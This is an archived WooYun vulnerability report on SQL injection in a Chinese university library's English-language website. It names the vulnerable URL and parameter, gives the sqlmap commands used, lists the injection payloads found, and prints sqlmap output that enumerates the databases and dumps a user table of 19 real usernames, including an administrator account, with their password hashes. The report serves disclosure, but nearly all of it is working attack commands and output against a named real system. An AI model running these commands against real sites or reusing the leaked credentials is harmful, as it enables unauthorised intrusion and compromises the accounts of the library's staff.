漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0117708
漏洞标题:南京理工大学图书馆英文版本站点SQL注入
相关厂商:南京理工大学
漏洞作者: gentoofly
提交时间:2015-06-02 16:07
修复时间:2015-06-07 16:08
公开时间:2015-06-07 16:08
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-06-02: 细节已通知厂商并且等待厂商处理中
2015-06-07: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
六朝古都南京
详细说明:
注入点:http://lib.njust.edu.cn/english/content.asp?id=2
sqlmap -u "http://lib.njust.edu.cn/english/content.asp?id=2" --dbs --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:15:54
[12:15:54] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:15:54] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 6195=6195
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=2 AND 3705=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (3705=3705) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(108)+CHAR(105)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (4188=4188) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(108)+CHAR(105)+CHAR(113))
---
[12:15:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:15:55] [INFO] fetching current user
[12:15:55] [INFO] retrieved: njustlib
current user: 'njustlib'
[12:15:55] [INFO] fetching database names
[12:15:56] [INFO] the SQL query used returns 8 entries
[12:15:56] [INFO] resumed: DataBase
[12:15:56] [INFO] resumed: master
[12:15:56] [INFO] resumed: model
[12:15:56] [INFO] resumed: msdb
[12:15:56] [INFO] resumed: new_njust_lib
[12:15:56] [INFO] resumed: Northwind
[12:15:56] [INFO] resumed: pubs
[12:15:56] [INFO] resumed: tempdb
available databases [8]:
[*] DataBase
[*] master
[*] model
[*] msdb
[*] new_njust_lib
[*] Northwind
[*] pubs
[*] tempdb
[12:15:56] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:15:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/lib.njust.edu.cn'
[*] shutting down at 12:15:56
漏洞证明:
sqlmap -u "http://lib.njust.edu.cn/english/content.asp?id=2" -D "new_njust_lib" -T "Tusers" --dump -C "username,password"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:47:54
[12:47:54] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:47:55] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 6195=6195
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=2 AND 3705=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (3705=3705) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(108)+CHAR(105)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (4188=4188) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(108)+CHAR(105)+CHAR(113))
---
[12:47:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:47:56] [INFO] fetching columns 'password, username' for table 'Tusers' in database 'new_njust_lib'
[12:47:56] [INFO] the SQL query used returns 2 entries
[12:47:56] [INFO] retrieved: password
[12:47:57] [INFO] retrieved: varchar
[12:47:57] [INFO] retrieved: username
[12:47:58] [INFO] retrieved: varchar
[12:47:58] [INFO] fetching entries of column(s) 'password, username' for table 'Tusers' in database 'new_njust_lib'
[12:47:58] [INFO] retrieved: 19
[12:47:58] [INFO] fetching number of distinct values for column 'password'
[12:47:58] [INFO] retrieved: 19
[12:47:58] [INFO] using column 'password' as a pivot for retrieving row data
[12:47:59] [INFO] retrieved: 062FBD3487FD30DBB5D3CC4ABA6F0EE3
[12:47:59] [INFO] retrieved: nd01
[12:47:59] [INFO] retrieved: 18B47865501D554719911681B6B79277
[12:48:00] [INFO] retrieved: dg01
[12:48:00] [INFO] retrieved: 2D60D0FDB588CC476DDA95A56B63D76B
[12:48:00] [INFO] retrieved: jsj01
[12:48:00] [INFO] retrieved: 416DD84B4379C7913521D3495BABA0B3
[12:48:01] [INFO] retrieved: rw01
[12:48:01] [INFO] retrieved: 456B6A74B54F6C76FD2DC44EF8BC01DC
[12:48:01] [INFO] retrieved: zdh01
[12:48:02] [INFO] retrieved: 54B4C7EDA480E99D503AF175BD28A3FF
[12:48:02] [INFO] retrieved: jg01
[12:48:02] [INFO] retrieved: 58E944E5199F6A9595EFDD85890295D8
[12:48:03] [INFO] retrieved: sc01
[12:48:03] [INFO] retrieved: 68AC6FFD05839137E46F59E3428EFE33
[12:48:03] [INFO] retrieved: bgs
[12:48:04] [INFO] retrieved: 6FEA5CB0E303734F6C9B2A7C6F195436
[12:48:04] [INFO] retrieved: sjk
[12:48:04] [INFO] retrieved: 73B833AF8F7D9164C087A5F5FF3D3458
[12:48:04] [INFO] retrieved: hg01
[12:48:05] [INFO] retrieved: 8252A6347B63D260F538531A3DDA2DF9
[12:48:05] [INFO] retrieved: cl01
[12:48:05] [INFO] retrieved: 8E6FBA1F7A1FBD36BA413DAC8EC1BEE5
[12:48:06] [INFO] retrieved: jx01
[12:48:06] [INFO] retrieved: A04C7A23D59248EBDED42123E161546C
[12:48:06] [INFO] retrieved: xxzlyj
[12:48:06] [INFO] retrieved: B18FDBFB80390F3509454435C53FDC1B
[12:48:07] [INFO] retrieved: zxkl
[12:48:07] [INFO] retrieved: B6A30D0CC2B367B6A806992F05CF8A0A
[12:48:09] [INFO] retrieved: wy01
[12:48:09] [INFO] retrieved: CF35415DED9718F020B556FBDCD81483
[12:48:09] [INFO] retrieved: xkfw
[12:48:09] [INFO] retrieved: D4A8E939A181D1398676ACD27FE7B58F
[12:48:10] [INFO] retrieved: lxy01
[12:48:10] [INFO] retrieved: DDB6CF1747F2888BBD80D4D7627987DE
[12:48:10] [INFO] retrieved: hs01
[12:48:10] [INFO] retrieved: F5F552A1536D786C9036612D79385146
[12:48:11] [INFO] retrieved: libadmin
[12:48:11] [INFO] analyzing table dump for possible password hashes
[12:48:11] [INFO] recognized possible password hashes in column 'password'
Database: new_njust_lib
Table: Tusers
[19 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| nd01 | 062FBD3487FD30DBB5D3CC4ABA6F0EE3 |
| dg01 | 18B47865501D554719911681B6B79277 |
| jsj01 | 2D60D0FDB588CC476DDA95A56B63D76B |
| rw01 | 416DD84B4379C7913521D3495BABA0B3 |
| zdh01 | 456B6A74B54F6C76FD2DC44EF8BC01DC |
| jg01 | 54B4C7EDA480E99D503AF175BD28A3FF |
| sc01 | 58E944E5199F6A9595EFDD85890295D8 |
| bgs | 68AC6FFD05839137E46F59E3428EFE33 |
| sjk | 6FEA5CB0E303734F6C9B2A7C6F195436 |
| hg01 | 73B833AF8F7D9164C087A5F5FF3D3458 |
| cl01 | 8252A6347B63D260F538531A3DDA2DF9 |
| jx01 | 8E6FBA1F7A1FBD36BA413DAC8EC1BEE5 |
| xxzlyj | A04C7A23D59248EBDED42123E161546C |
| zxkl | B18FDBFB80390F3509454435C53FDC1B |
| wy01 | B6A30D0CC2B367B6A806992F05CF8A0A |
| xkfw | CF35415DED9718F020B556FBDCD81483 |
| lxy01 | D4A8E939A181D1398676ACD27FE7B58F |
| hs01 | DDB6CF1747F2888BBD80D4D7627987DE |
| libadmin | F5F552A1536D786C9036612D79385146 |
+----------+----------------------------------+
修复方案:
过滤
版权声明:转载请注明来源 gentoofly@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-06-07 16:08
厂商回复:
最新状态:
暂无